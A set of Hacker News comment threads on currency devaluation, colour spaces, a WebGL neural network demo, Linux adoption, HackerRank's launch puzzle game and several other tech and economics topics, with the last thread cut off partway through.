Devaluation is austerity done right - <AUTHOR> http://www.slate.com/blogs/moneybox/2012/06/13/devaluation_is_austerity_done_right.html <comment><USER2> Not correct, this is helping the debtors (like our government) while extremely hurting the savers, people on fixed income, people with a pension and low income. As most western-european countries import more than they export (especially energy and food, when their currency goes down, what they can afford to import goes down as well.

What we're seeing and why the $ and € don't fluctuate much (even though Europe is in such a mess) is both Europe and the US (and all the others) are devaluing their currency one after another. It's called Currency Wars: "Currency wars are one of the most destructive and feared outcomes in international economics. At best, they offer the sorry spectacle of countries' stealing growth from their trading partners. At worst, they degenerate into sequential bouts of inflation, recession, retaliation, and sometimes actual violence. Left unchecked, the next currency war could lead to a crisis worse than the panic of 2008. [http://www.amazon.com/Currency-Wars-Making-Global- Portfolio/...](http://www.amazon.com/Currency-Wars-Making-Global- Portfolio/dp/1591844495)

Here's a nice video explaining it using a comic from the '50's! <http://www.youtube.com/watch?v=bFxvy9XyUtg>

<comment><USER3> Don't forget the debtors that aren't the government, the vast majority of the population.

The dollar has been absurdly overvalued for a long time, destroying our exports and causing us to import excessively, leading to trade deficits and more debt.

Not that savers won't be hurt unfairly, but they will be hurt even more by the accumulation of capacity loss caused by the lost potential output of austerity philosophies. Unless they are retired, and don't plan to participate anymore - then they're just screwed. Unless we decide not to eviscerate Social Security and Medicare, that is.

The most important thing is not to have people who want to work sitting idly, especially people who are newly entering the workforce. This destroys the future more than debt ever could. We either need to lower nominal wages or devalue the currency to the same effect - or let massive unemployment become the new normal. Good luck lowering nominal wages: It's really a choice between the last two options.

I'm not sure what the conservative saver horde expects will happen to its savings over the long term if interest rates stay at 0% or negative indefinitely. Maybe pour all of their money into something else dumb like dotcoms or real estate and become the whiners of tomorrow?

<comment><USER4> Please provide evidence for overvaluation of the USD.

<comment><USER3> [http://www.washingtonpost.com/business/us-current-account- tr...](http://www.washingtonpost.com/business/us-current-account-trade- deficit-grew-to-1373-billion-in-first-quarter-largest- since-2008/2012/06/14/gJQArwQEcV_story.html)

Historical Notes: [http://articles.marketwatch.com/2008-01-29/news/30807755_1_s...](http://articles.marketwatch.com/2008-01-29/news/30807755_1_strong- dollar-dollar-weakness-senior-currency-strategist/2)

</comment></comment></comment></comment><comment><USER5> Iceland was one of the countries that was hurt the worst by the financial crisis, remember the joke "What's the capital of Iceland? About a buck fifty". But since then its done very well recovering. To quote a blog:

 _Iceland did almost everything right. They stiffed the bank creditors to avoid aggravating the moral hazard problem, just like the textbooks recommend. In the eurozone the bank creditors are being bailed out. They relied of fiscal policy to address S/I and debt issues, and let monetary policy address AD, just as the New Keynesians were recommending in the 1990s. In the eurozone they combined tight money with reckless deficits. And now Iceland is growing fast and the eurozone is stagnating._ <http://www.themoneyillusion.com/?p=14895>

<comment><USER6> Question I wonder is: Iceland is tiny. Like TINY tiny kind of tiny. Their National GDP is $12.57 billion USD. America spends about $20.2 billion a year on air condition in Afghanistan.

The point being -- the world economy can (and did) withstand the default and destruction of the Icelandic finance system.

Could it have survived the default and destruction of the American finance system? Or would our incredibly interlinked, globalized finance system bring down the world economy with it?

<comment><USER7> Acctually it is very, very unlickly that the American finance system would have blown. Everytime the US has bailed out banks unter the premis 'to big to fail' later analysis has shown that the impact would have been much smaller.

There is a book about that: "Too Big to Fail: The Hazards of Bank Bailouts"

[http://www.amazon.com/Too-Big-Fail-Hazards- Bailouts/dp/08157...](http://www.amazon.com/Too-Big-Fail-Hazards- Bailouts/dp/081570304X/ref=tmm_pap_title_sr)

or maybe better for most people a podcast with the auther:

[http://www.econtalk.org/archives/2009/10/gary_stern_on_t.htm...](http://www.econtalk.org/archives/2009/10/gary_stern_on_t.html)

It was acctually the feds intervention (paying banks to hold reserves) not the fall of leeman that froze the holesale lending market.

</comment></comment></comment><comment><USER8> Completely correct. It means that people have time to adjust, as their existing contracts come to an end and new ones come in at new prices, and it gives a boost to the export industry.

Also, getting a 5% reduction in your pay through prices going up is a lot easier, psychologically speaking, than trying to actually negotiate a 5% pay reduction with all workers.

</comment><comment><USER9> and for whom does he propose this solution? Devaluation will only help countries who have their own currency, countries which bought into the Euro gave up that option and are nearly wholly dependent on more fiscally responsible member countries to bail them out.

Yet those countries are not obligated to do so. In the good old days of having your own currency you would just soak your own populace and foreign investors. With a joint currency your attempting to soak another countries people as a whole and that idea is not palatable to many.

Then there is this whole term of austerity. It certainly doesn't mean what it used too. Most of those countries whom activist and wanna be economist claim are being harmed by austerity are in fact being harmed by still increasing government spending.

Apparently austerity now means not spending as fast as before but it certainly does not mean spending less.

<comment><USER3> Not more "fiscally responsible countries", just richer ones. Unless you're arguing that it is fiscally responsible to loan massive amounts of money to other countries to buy your exports. If I loan money to Bob the unemployed guy to buy a car from me, and it turns out that he can't pay me back on time, do I get to call myself fiscally responsible?

On the Euro: Either closer fiscal union or end it. If the member state's debt can't be backed by a proper central bank, it's just a mechanism for shipping wealth from the periphery to the core.

</comment></comment><comment><USER10> Why should everyone pay for the speculators?

<comment><USER11> Because like it or not, a lot of the money is simply gone. Sure we need better regulated financial markets and less corruption in politics and the media, but in the mean time something needs to be done to get economies back on track.

Increasing taxes on "the rich" and companies are good to some extent, but they will only take you so far.

The kind of austerity that involves taking away allowances and tax credits for the poor and middle classes is idiotic. Devaluation certainly does affect the innocent, but overall it is much more equitable (and workable).

<comment><USER12> Devaluation is the easiest solution from a political point of view, but it is basically a transfer of value from those with savings/creditors to those in debt (including all of us with large credit card debts and mortgages).

It punishes the careful savers and rewards the profligate, and sends a signal that living high on credit is good, while those that save and live within their means are idiots.

<comment><USER13> And that's exactly why I disagree devaluation is good

It's the coward solution, and if you're not gonna pay 100% of the owed value, just do that instead of making old money worth more than new money.

<comment><USER11> Are you arguing that it's actually ineffective, or just that it's not gentlemanly toward foreign investors?

<comment><USER14> Well, it's not gentlemanly towards anyone, particularly savers in your own country.

Suppose I'm a retired gentleman in Ruritania with one million Ruritanian rurs in the bank. The King of Ruritania has got himself into some deep debt problems with foreign creditors due to his addiction to racing and eating greyhounds. He can either say:

a) "Guess what? I'm only going to pay back 10% of my debts! Suck it, creditors!", or

b) "Ohhhh, suuure, I'll pay back all my debts. Oh, did I mention that a Ruritanian rur henceforth has one tenth the value it used to? Heh, cool."

In the latter case my savings are completely wiped out, as are the savings of everyone else in Ruritania [while mortgageholders suddenly become very rich]. In the former case, while there'll probably be some damage to the currency my savings aren't affected so badly.

<comment><USER11> I think you're confusing price inflation with currency devaluation.

If everything in Ruritania is "worth" 10% of what it was, then nothing has changed. It's only foreign goods that have become more expensive, and your exports have become cheaper.

</comment></comment></comment></comment></comment></comment></comment><comment><USER7> What people dont understand specially the ones that are against all inflation is this:

There is natural and artefical inflation and deflation. You get for example natural inflation when you have supplyshocks (If somebody blow up intel CPUs would be more expensiv) you get artefical inflation when you print money. The first is just the market reacting to 'something'.

The same goes for deflation, you have natural (good) deflation when you become more productive (you can see this for example in times of the (real) gold standard when moneysupply was almost constant.

Bad deflation is when you activly contract the money supply (this is the great depression story and the reason why people think deflation is generally bad).

What can we conclude out of this?

The shock to the economy was pretty big, we shuld have seen natural inflation happening, this is however still represt since the ECB pushes that down by creatning bad deflation (in real terms). In nominal terms this means 2% inflation, in real it is deflation.

When central banks target inflation (say 2%) and the economy is growing around 2% (thus 2% deflation) they acctully produce 4% inflation in nominal terms. This is all works out relativly good and is not to harmful as long as the real terms are not to big. If the become big (say a economy that is shrinking 10% or more) targeting inflation can be very harmful.

The price level should reflect the economy and not what some guy think is the right growth of the price level.

The idea would be to target NGDP or in terms of the formula MV=Py, it would mean holding MV constant (or let it grow 3-7% depening on your opinion on some other matters).

The school that supports this would be: <http://en.wikipedia.org/wiki/Market_monetarism>

This would mean that the ECB should look at the grow/contraction of the economy and setting the price level accordingly. That would mean in the current case that they would have do QE to hit the 'right' pricelevel.

I would recomend this book: Less Than Zero: The Case for a Falling Price Level in a Growing Economy <http://mises.org/books/less_than_zero_selgin.pdf>

Edit: I just found a nice post that shows a nice example of a case in history when central banks tried to recontract after the had inflated befor, this is in many ways simular with what we have today:

Danish and Norwegian monetary policy failure in 1920s – lessons for today

[http://marketmonetarist.com/2012/06/12/danish-and- norwegian-...](http://marketmonetarist.com/2012/06/12/danish-and-norwegian- monetary-policy-failure-in-1920s-lessons-for-today/)

Edit: Correction of a error point out in comments.

<comment><USER15> _When central banks target inflation (say 2%) and the economy is growing around 2% (thus 2% deflation) they acctully produce 4% inflation in nominal terms._

You're mixing up two different notions of inflation here.

There is the old-fashioned definition of inflation which calls any expansion of the "money supply" inflation. (With "money supply" in scare quotes because it's a pretty arbitrary concept, considering the multitude of very different definitions that exist.)

Then there is the modern definition of inflation, which is simply a different word for aggregate changes in the price level.

Those two notions of inflation are only superficially linked, and arguably, the modern definition makes more sense because it is what people are really interested in outside of economics.

On the topic of NGDP targeting, the blog Unlearning Economics has two enlightening posts: [http://unlearningeconomics.wordpress.com/2012/05/08/on- the-l...](http://unlearningeconomics.wordpress.com/2012/05/08/on-the-lousy- reasoning-behind-ngdp-targeting/) [http://unlearningeconomics.wordpress.com/2012/05/12/more- on-...](http://unlearningeconomics.wordpress.com/2012/05/12/more-on-ngdp- targeting-and-bubbles/)

<comment><USER7> I'm not sure where mixing something up.

If the central bank targets 2% price level inflation, the economy grows 2% (witch would mean 2% of deflation in prices under the productivity norm) the central bank then has to go on and print enough money that it in a non growing economy would have hit 4% nominal inflation.

I don't see where I mix up the concepts I am always talking about price inflation.

Edit: On the blogpost, I don't think the autor really understands what NGDP targeting is about. Its about the CB not distorting relative prices, its seeing whats going on in prices. With IT you mess up the function of the price system, Hayek teaches us that prices are information. The productivity norm is basically what would happen without a central bank.</comment></comment></comment>


Show HN: Reward your live-stream audience instantly for free - <AUTHOR> https://incent.com/streamers <comment><AUTHOR> Hey everyone OP here and co-founder.

We created Incent as a way to help people build wealth by creating a global rewards currency and platform.

Earlier this year we launched rewards for shopping - pretty standard and status quo. While this is simple and gaining traction in Australia (our first launch location), we found through our users an area that people have been wanting rewards - live stream video.

So I'm excited today to launch the first beta of that product called Incent Ingage.

It allows streamers to instantly reward their audience in real time while their audience watches their content. The viewer gets a small dollar amount of reward for their engagement.

The rewards are "dropped" at random times throughout a streamer's live-stream broadcast.

The value proposition is simple: \- As a viewer I'm getting rewarded in real time for watching streamers that I enjoy.

\- As a streamer, I'm able to reward my audience to say thanks and to give them something that is different to other streams and you get better analytics compared to Twitch, Youtube, FB Live etc about your audience, which helps you tailor your content.

For the streamer its super simple to set up. Once you create an account, a streamer can create and plan campaigns. You can set the number of rewards you want to give, set the start and end dates and thats it, youre good to go.

We provide a unique link that streamers can add to their OBS based streaming software which handles all the rewarding, notifications and updates in real time.

Keen to hear your thoughts. Please pass this onto any streamer who is keen.</comment>


How to Avoid Equidistant HSV Colors (2011) - <AUTHOR> https://www.vis4.net/blog/2011/12/avoid-equidistant-hsv-colors/ <comment><USER2> I had a very interesting sequence of exchanges in MBONE about this problem, in the 1990s.

The problem was the use of colour in distributed editing systems like Van Jacobsens 'whiteboard'

(it was an exemplar tool we used in the Internet multicasting activity then)

and their projection of color values into greyscale monitors (a class of terminal which probably doesn't exist any more but at the time, there was a distinction between pixel quality and size and density in greyscale and colour. greyscale was finer but limited to .. shades of black and white)

We discussed perceptual colour differences, mapping into grey, the loss of information. Choosing a sequence of colours which were distinct but formed grey tones which were also distinct is .. hard.

<comment><USER3> > Choosing a sequence of colours which were distinct but formed grey tones > which were also distinct is .. hard.

Start backwards? And then give them hues?

<comment><USER2> Not a bad approach. they also have to be visually satisfying choices in colour and you kind of want the rainbow.

</comment></comment></comment><comment><USER4> >For instance, in the following HSL color scale the brightness step between the second and the third red appears much bigger than the step between the 3th and 4th color. Even worse, this effect seems to differ across different hues, as the comparison to the blue scale shows.

I honestly can't see what they're talking about in the example images. Is this a "some people are more visually sensitive than others" type thing, or is this the visual equivalent of audiophiles messing about with bespoke setups to try and get marginal improvements in sound quality?

<comment><USER5> The difference should be readily visible. Various aspects of visual sensitivity can certainly vary between people but I think it's far more likely that your monitor isn't very well calibrated or is possibly just of low quality.

In my case, the difference is barely visible on the profile I typically have loaded because I modified it to maximize brightness and text legibility at the expense of significant color accuracy.

<comment><USER6> I think the claim that the difference in the first pair was _much_ bigger was probably overstated.

Would I say the difference appeared bigger in that case? Yes.

But on a calibrated screen, as someone with no known colour vision deficiencies, and as someone who does a lot of design work including fine- tuning colour schemes, there is a clear step between each adjacent pair of reds on that scale to me, and the perceived differences between the steps aren't _that_ big.

If I had to guess, I'd suggest that some people see the second red darker than it should be due to poor colour reproduction on their monitor, which would exaggerate the difference from second to third red.

</comment></comment></comment><comment><USER7> I just read the article. It nicely details the difference between physical lightness and perceptual brightness. For a demonstration of this, try opening a photo of colorful flowers in Photoshop. Compare a de-saturation in RBG with one in Lab (Adjustments/Hu Saturation). The result from the Lab desaturation will respect the perceptual differences of the hue of the flowers flowers.

</comment><comment><USER8> Looks like the link to the "I want HUE" tool is broken, here's the proper link: [http://medialab.github.io/iwanthue/](http://medialab.github.io/iwanthue/)

<comment><USER9> I'm impressed by the other mentioned picker, for HCL this time [http://tristen.ca/hcl-picker/](http://tristen.ca/hcl-picker/)

This tool is also useful [https://vis4.net/palettes/#/9|s|00429d,96ffea,ffffe0|ffffe0,...](https://vis4.net/palettes/#/9|s|00429d,96ffea,ffffe0|ffffe0,ff005e,93003a|1|1)

I have to mention this fantastic presentation on colormaps [https://www.youtube.com/watch?v=xAoljeRJ3lU](https://www.youtube.com/watch?v=xAoljeRJ3lU) (A Better Default Colormap for Matplotlib, SciPy 2015, Nathaniel Smith and Stéfan van der Walt). It is about perceptually uniform colormaps. [https://bids.github.io/colormap/](https://bids.github.io/colormap/)

</comment></comment><comment><USER10> Seems similar but different to `pastel distinct`[0], maybe it would be a nice addition.

[0] [https://github.com/sharkdp/pastel](https://github.com/sharkdp/pastel)

</comment><comment><USER11> hsluv is a much easier way of doing this in 2020. It was recently covered in an article here on HN, too: [https://news.ycombinator.com/item?id=22528760](https://news.ycombinator.com/item?id=22528760)

</comment><comment><USER12> tldr - there is a color space called CIELab that is made so that euclidean distances map to perceptual distances.

<comment><USER13> There is also a CIELCH colorspace that allow you to still work in the CIE colorspace but use familiar values of luminosity, chroma and hue. I created a library for Processing/Java that allows the user to define colors in CIELCH space [1].

[1] [https://github.com/neilpanchal/Chroma](https://github.com/neilpanchal/Chroma)

<comment><USER14> This lib is fantastic - thanks!!</comment></comment></comment>


I Implemented GPU-Accelerated Digit Recognition with WebGL - <AUTHOR> https://erkaman.github.io/regl-cnn/src/demo.html <comment><AUTHOR> The demo uses WebGL, and if you can't get the demo to work, you can here([https://github.com/Erkaman/regl-cnn](https://github.com/Erkaman/regl- cnn)) find a recorded gif that shows what it is supposed to look like.

This demo does handwritten digit recognition by evaluating a Convolutional Neural Network on the GPU with WebGL. The network was trained in TensorFlow by this script here([https://github.com/Erkaman/regl-cnn/blob/gh- pages/scripts/cr...](https://github.com/Erkaman/regl-cnn/blob/gh- pages/scripts/create_cnn.py)), and the network was then reimplemented on the GPU by hand with WebGL. The main purpose of the demo was to demonstate how our WebGL framework regl([https://github.com/mikolalysenko/regl](https://github.com/mikolalysenko/regl)) can be used to greatly simplify GPGPU programming in WebGL. The secondary purpose was to test whether evaluating Deep Learning networks in WebGL is doable. To our knowledge(but we may be wrong!), our implementation is the first implementation ever to attempt GPU accelerating neural networks with WebGL And we hope that this implementation will provide a foundation for people who, like us, wish to experiment with Deep Learning and WebGL The GPU implementation can be found here([https://github.com/Erkaman/regl-cnn/blob/gh- pages/src/gpu.js](https://github.com/Erkaman/regl-cnn/blob/gh- pages/src/gpu.js))

Note that this network will probably be slower than the corresponding network implemented on the CPU. This is because of the overhead associated with transferring data to and from the GPU. But in the future we will attempt implementing more complex networks in the browser, such as Neural Style([https://arxiv.org/pdf/1508.06576v2.pdf](https://arxiv.org/pdf/1508.06576v2.pdf)), and then we think that we will see a significant speedup compared to the CPU.

Lastly, if anyone has any questions, I will be glad to answer them here.

</comment><comment><USER2> Half the time I draw a '9', it gets it wrong.

</comment><comment><USER3> This is so cool!</comment>


"Just Switch to Linux" Is the Loser's Game - <AUTHOR> https://boilingsteam.com/the-switching-nonsense/ <comment><USER2> I think this article touches on something important. The psychological barriers that must be crossed as part of switching from one thing to an alternative.

We frequently test by bringing users into a lab and as part of on-site trainings for our products where we ask people to use our product on one of our test platforms such as a tablet or laptop with additional tracking enabled such as eye and hand movement.

It is not uncommon for these users to be unable to create a test account as without their home computer or phone they cannot read and respond to email confirmation requests. Of course this might be highlighting a shortcoming of our registration protocol but that aside, this barrier is real (at least for some of our users).

If users can't switch browsers because their "account information" is tied up in them, switching to a new OS is going to be completely beyond their ability.

<comment><USER3> The article seems to be focused on converting gamers to linux distro. GPU issues usually make them shy of screwing up an install that "works" trying to convert.

      Most conversions i see involve people being locked out of thier system,
     and financially unable to repurchase OS , Hardware or both.

These people may need a windows-ized setup to the UI so it isnt unfamiliar, but generally the sentiment is:

"this linux thing always has everything i need, where i want it to be and no interruptions or goose chases for something you are required to have."

So in my experience non-tech people can use linux, with quick adaptation, and they love it.

</comment></comment><comment><USER4> Why would you bother to switch somebody else to using Linux?

That's akin to trying to switch everybody to driving a BMW. It's not going to happen.

Some people don't have the time, money, inclination or knowledge to invest in driving BMWs. Likewise, some people don't have the time, money, inclination or knowledge to invest in using Linux.

The old joke about "When is it going to be the year of the Linux Desktop" is about as relevant as asking "When is it going to be the year of BMW on the road?"

As long as I can drive my Benz and use Linux on my desktop(s), I _don 't care_ what the next guy chooses to be happy with.

<comment><AUTHOR> > That's akin to trying to switch everybody to driving a BMW. It's not going > to happen.

Oh, it's not about capturing the whole share of computing out there. A lot of people are thinking about expanding the usage of Desktop Linux, and this is just an article about which strategies would be more effective than others.

Of course, you can have a different standpoint that Windows is just dandy and nobody needs to switch away from it. This article is rather focused on "when people are interested in switching, here's the kind of issues they face", and how to alleviate some of these issues.</comment></comment>


Oppressive Precedents Used Against Nazis Will Be Used Against the Left - <AUTHOR> http://www.ianwelsh.net/oppressive-precedents-used-against-nazis-will-be-used-against-the-left/ <comment><USER2> Yep...I've been think this since the Antifa radicals started persecuting right wingers for their ideas and prevented them from speaking on college campuses...it's not going to end well for either side of the ideological spectrum...it's saddening that the "American experiment" is devolving into petty identity politics...it's like our capacity to see beyond our simple tribalist tendencies is non-existent...</comment>


Validation in Android - Why did I 'scratch my itch' and how it saves our time? - <AUTHOR> http://www.reddit.com/r/androiddev/comments/1fz329/validation_in_android_why_did_i_scratch_my_itch/

<comment><USER2> Suggestion for the submitter, since I saw you're also the author of the library. When you create something, submit it as a "show hn" instead of a normal submit and link directly to the project instead of reddit. It will likely get more comments and upvotes.

Though if it doesn't get overly noticed, don't get discouraged. It's not exactly the most optimal time to be submitting something, given what has been on the front page the past day or two.

<comment><AUTHOR> Hi, I'm new to Hacker News and would sure use some help here. I felt an introduction to the library would be better. However I'll keep this in mind for future submissions. Thanks.

<comment><USER2> Welcome to HN :)

"Show HN" just makes it stick out more if someone is skimming for new content, since it shows you're not just a submitter, but also the creator. No worries though.

<comment><AUTHOR> Thank you yareally, would this be considered a spam if I repost it with Show HN?

<comment><USER2> Hard to say with the way automatic filtering is done. If you don't mind waiting, post it again when you do a major update.

<comment><AUTHOR> Will do, thank you for the tip :)</comment></comment></comment></comment></comment></comment>


StarupBus'11 Company: takeaways.me - save takeaways from the articles you read - <AUTHOR> http://takeawaysme.tumblr.com/post/3739592809/hello-world

<comment><USER2> How is this different than Evernote which allows me to clip full pages, highlighted areas (with extension) and provides a synced interface across all platforms and devices?

<comment><USER3> it's much more barebones than evernote. our goal is to enable you to save just the takeaways, and not to be inundated with many options, notebooks, etc. We also have a public by default policy, which creates a social space for posting these takeaways.</comment></comment>


Amazon is Adding Capacity of a Circa-2000 Amazon.com Every Day - <AUTHOR> http://www.xconomy.com/seattle/2011/06/09/adding-a-circa-2000-amazon-com-every-day-data-centers-with-no-air-conditioning-more-from-amazon-web-services-james-hamilton/

<comment><AUTHOR> Amazon was a $2.7 billion company at that time.</comment>


HackerRank aims to build a fun place for programmers to hang out - <AUTHOR> http://hackerrank.com

<comment><USER2> A few things:

* I'm having issues with the terminal where what I type is not always on the bottom line. Also, the up/down arrows for getting command history don't always show what I would expect and I get latency fairly frequently.

Also _spoiler_ here's an algorithm that will let you win every time where it is possible to win. I debated a bit about posting this, but if I didn't I'm sure somebody else would.

1\. If number is divisible by 6, do not play since you'll always lose.

2\. If the number is less than 6, do not play since it doesn't allow you to take them all in the first move, despite what the instructions suggest.

3\. Otherwise, your first pick should be a number that takes the remaining number to a multiple of six (see rule #1). Then, you should look at what number the computer picks and subtract it from six when you pick your number.

Getting to the top of the leaderboard is dependent on understanding this and how much time you're willing to spend playing.

Or you could write a bot that plays the game for you. Then getting to the top of the leaderboard depends on who started their bot first and the quality of bots' network connections.

<comment><USER3> I was about to post this exact thing. Its easy enough to figure out if you watch the computer play. Using this its possible to win every single game as long as the number you start with isn't divisible by 6.

<comment><AUTHOR> :) This was just a teaser page/warmup puzzle for fun. Thanks for trying out!

</comment></comment></comment><comment><USER4> Was able to sign up, but the challenge totally failed on me.

First it seemed to not be taking any input, and let me enter about 10 different numbers without response. Then, it showed me the back and forth between me and the computer for about half of those numbers, but the total never changed after that.

<comment><AUTHOR> The command is challenge <number>

<comment><USER4> Yes, I started the challenge. My problems were encountered during the game itself. It stopped working correctly.

</comment></comment></comment><comment><USER5> The game worked fine for me, just double check "challenge 1" since it asks for a range between "1 and 0"

A few observations:

\- If you start <= 6, you will always lose, since you have to choose 1 less than the starting number.

\- Whoever gets 6 on their turn will always lose.

\- If you start between 7 and 11, you'll always win.

\- If you start at 12 or higher, you'll usually lose, since the computer will try to get you to 6.

Still fun for a few minutes atleast. No idea how people are winning 20+ games.

<comment><USER2> >No idea how people are winning 20+ games.

I won over 20 games by just spending a few minutes manually running the algorithm described elsewhere here and I imagine anyone who hasn't won hundreds or thousands of games probably did the same. (If you're going to write a bot, might as well let it run for awhile and see if you can max out the leaderboard.)

</comment></comment><comment><USER6> The CLI seems to get into an inconsistent state easily in Chrome, only fixed by reloading the page. I'm sure I know how to win the candy challenge based on the english description of the rules, but I can't make any sense of the output.

        recursive@hackerrank:~$  challenge 1
        Playing a game for N: 1
        Please provide a number between 1 or 0.
        How many candies you want to pick?:

At this point, I get stuck in a loop that I've only been able to get out of with f5.

</comment><comment><USER7> I am a novice programmer and I am always put off websites that rank users (and programming competitions for that matter). Avoiding the competition seems better than putting my relatively crappy code out there for all to see.

Would more seasoned people out there agree that a clean slate is better than a low ranking on sites like InterviewStreet (or HackerRank if it gets big)?

<comment><AUTHOR> Hi Ayla, we want to build something that has fun stuff catering to different set of programmers (hackers/programming contest enthusiasts/functional programmers, etc.) Whether it's for pride or for learning new things, we want to leave it to the user.

</comment></comment><comment><USER8> Well, I was trying to avoid spoilers, but since jaredsohn has already sailed that boat out to sea...

How do you script something like this? I tried looking at the source and then using the chrome console to input jQuery commands, but something really weird happened. I could replace just about any element on the screen _except the one that mattered_!

I could type "challenge 8" into the console and then running a $('tester').text() would return "challenge 8" as expected. But $('tester').text('challenge 9') wouldn't update the screen. I tried for a good hour to find a way to update the text in that element, with no luck (short of removing the whole thing from the dom).

(see <http://postimage.org/image/c3xkrg8y3/> )

Also how do you send a carriage return? Inserting a newline didn't seem to do the trick. Anyone? As much as I love a challenge, beating my head against this one issue doesn't yield much education / time spent.

<comment><USER2> If you look at the JavaScript, you can see that it actually expects a keystroke for the Enter key.

I'm not familiar with sending keystrokes in JavaScript (from some brief searching I think it is possible; I just don't know the best practice), but for something like this, you could just do it at the operating system level. A long time ago I automated an annoying user interface for a program we had to use at work by writing some vbscript that changes windows and does a combination of sendkeys and sleep.

Unfortunately, just sending keystrokes isn't very robust since it isn't reading what is going on in the UI and if something random happens (the site behaves other than expected, you touch a key / move the mouse, a scheduled program runs, etc) the script could get out of sync. Fortunately, the consequences of an error are so low here that such a solution would be good enough.

</comment></comment><comment><USER9> Vivek, Cannot access at the bank. Contacted friends at other banks. Same story :( So some 1 million plus corporate programmers don't have access to your website. Here's the message I get on Internet Explorer.

\</comment><comment>--- 403 Forbidden

This Web site is blocked: <http://hackerrank.com/> As part of our ongoing effort to protect the bank and its information, the Web site you are trying to reach is blocked because it is classified in a category the bank considers to have certain risks. The bank blocks access to a number of Web site classifications including but not limited to Web mail sites, Personal Network Storage, and other categories to comply with regulations, protect customer and company information, and to be consistent with industry standards and practices.

This Web site is categorized as Games. \</comment><comment>---

<comment><USER10> I'd say that's probably a good thing considering the passwords were being transmitted in the clear[1]. To me this would seem a huge liability to be accessible by bank employees.

[1]<https://gist.github.com/3020091/>

<comment><USER9> imho the reason is the name. If news.ycombinator.com was called hackernews.com, it would be blocked in 15 seconds flat. That's corporate america for you.

<comment><USER11> Hackerne.ws points to the same IP address as news.ycombinator.com. Is the former blocked but the latter allowed?

</comment></comment></comment></comment><comment><USER12> Am I missing something? I type signup myemail myusername and I am then prompted for a password which seems to refuse any input or at least not alert me of submission.

<comment><USER13> The signup is broken, there is a 'login undefined property' exception.

Hope this will be fix soon, cool idea

<comment><AUTHOR> Sorry, it's fixed. Can you try now?

</comment></comment></comment><comment><USER14> I am a very novice programmer, but this challenge seems impossible. It asks "Please provide a number between 1 or -1". That isn't even English. Do you mean between 1 _and_ -1? Any number entered just results in the same "Please provide a number between 1 or -1".

Did you not test this at all before promoting it? I am brand new to programming and even I know that testing is important.

<comment><USER15> The error is when the argument to the `challenge` command is anything other than a number. Try `challenge monkey`. It then accepts zero for N, and the computer always picks a positive number.

Resulting in a negative.

</comment></comment><comment><USER16> I most certainly enjoyed that! Was nice to find the apply command after poking around in the help.

      == apply: Apply to join our awesome team.
      Usage: apply <a profile url> <why do you want to apply>

Does it have anything to do with my mad skillz in solving the puzzle perhaps? ;-)

</comment><comment><USER17> This looks cool. But I'm getting a javascript error when trying to sign up.

TypeError: Cannot call method 'toLowerCase' of undefined [[http://www.hackerrank.com/assets/application-18e8ea124a72677...](http://www.hackerrank.com/assets/application-18e8ea124a726771ae0f901e4094ee4f.js:16)]

<comment><AUTHOR> very sorry about it. Can you try now?

<comment><USER17> Works now. Very cool, thanks!

</comment></comment></comment><comment><USER18> And just found a bug. I started from 2000 and it got stuck at 378. It is miscalculating and thus going into an infinite loop. <http://paste.ubuntu.com/1067434/> I mean come on, mathematical miscalculation for a game like this?

</comment><comment><USER19> The algorithm is obviously pretty easy, as has been demonstrated...

but I can't believe I just spent 20 minutes trying to come up with a scripted solution. Nerd sniped again!

<http://xkcd.com/356/>

<comment><AUTHOR> Congrats! There are 5 "scripted" solution till now.

</comment></comment><comment><USER3> So maybe I just fail, but I attempted to sign up, typed in the command and then it asked for a password. I assumed this was to make up a password, so I tried that, and it didn't let me enter. Is this a you have to know a password to sign up thing?

<comment><AUTHOR> Sorry about it. Can you try now? It's fixed. A js error

<comment><USER3> Works now. Thanks.

</comment></comment></comment><comment><USER20> I'm going crazy or should I not have won here?

Playing a game for N: 10 Your move: '4'. Computer's move: '1'. Remaining candies: '5' Please provide a number between 1 or 5. Your move: '5'. Computer's move: '5'. Sorry! You lost the game.

<comment><USER21> I made the same moves and it said I won.

</comment></comment><comment><USER22> hey passwords are being sent plaintext (<https://gist.github.com/3020091/>). be careful if you signup/when you log in. use a password you don't care about, or use a throwaway.

</comment><comment><USER23> Ha! I attempted this yesterday, after I saw the article in TC. It was a really fun challenge! Good job guys! Hope I didn't cost you a lot of money.. by my estimates i sent you something close to like a million requests .. give or take.

</comment><comment><USER24> You guys rock !!!

I also write new bot by python for hackerrank challenge. Check out my code at <https://github.com/kiennt/hackerrank-bot>

Happy hacking :)

<comment> think-large Thanks soo much for posting your code. Just starting out with python and it's nice to be able to learn from someone else's exploits.

</comment></comment><comment><USER25> There's a bug. The cursor sometimes shows up above the current prompt line and I'm not able to type. Clicking on the prompt will just bring it back for a second and then it goes up again.

</comment><comment><USER26> $ Playing a game for N: 8 $ Your move: '2'. Computer's move: '2'. Remaining candies: '4' $ Congrats! You won the game. Now go ahead and play for more candies. Enjoy :)

</comment><comment> think-large Can you give solutions after the week is up? I really want to become a better programmer and I think this would really help me learn.

<comment><AUTHOR> Yes, we'll be putting it up. Stay tuned. Thanks for trying

</comment></comment><comment><USER27> "Username can only contain characters, numbers and underscore." _RegEx_ doesn't work :(

</comment><comment><USER28> I'm getting a whole mess of "You can't play that game!" errors on legitimate moves.

<comment><USER29> I am getting various errors - there are 4 remaining candies. I take 4. now there are 6 remaining candies...something is wrong.

</comment></comment><comment><USER30> Awesome stuff man...looking fwd to more challenges.

</comment><comment><USER31> I must say, this 'challenge' is a creative idea.

However, not to be a wet blanket, but it's rather simple to construct a winning algorithm, particularly if you can both choose the same starting number and always go first (and choose the same starting number multiple times). If I had a few extra minutes at work right now, I'd take a stab at it.

...That is, unless that's the entire point?</comment>


NASA's Voyager 1 reaches end of interstellar space after 34 years - <AUTHOR> http://www.redorbit.com/news/space/1112609313/voyager-1-entering-interstellar-space/

<comment><USER2> That headline ought to read "Voyager reaches beginning of interstellar space". The interstellar space is the space between solar systems, so it would be impossible for the craft to reach "the end" unless it exited the Galaxy.

There's no clear line where our Sun's system ends though. Maybe the Heliopause, but Voyager ain't there yet.</comment>


Postmortem of a commercial failure: My first Android Game App - <AUTHOR> http://www.irrlicht3d.org/pivot/entry.php?id=1289

<comment><USER2> I had never seen this game, or heard anything about it. Your first enemy is obscurity.

Now I've downloaded your game and played it. Here are my thoughts:

\- It blares music at you as soon as you run it. Bad first impression.

\- No tutorial, no introduction, no obvious help function.

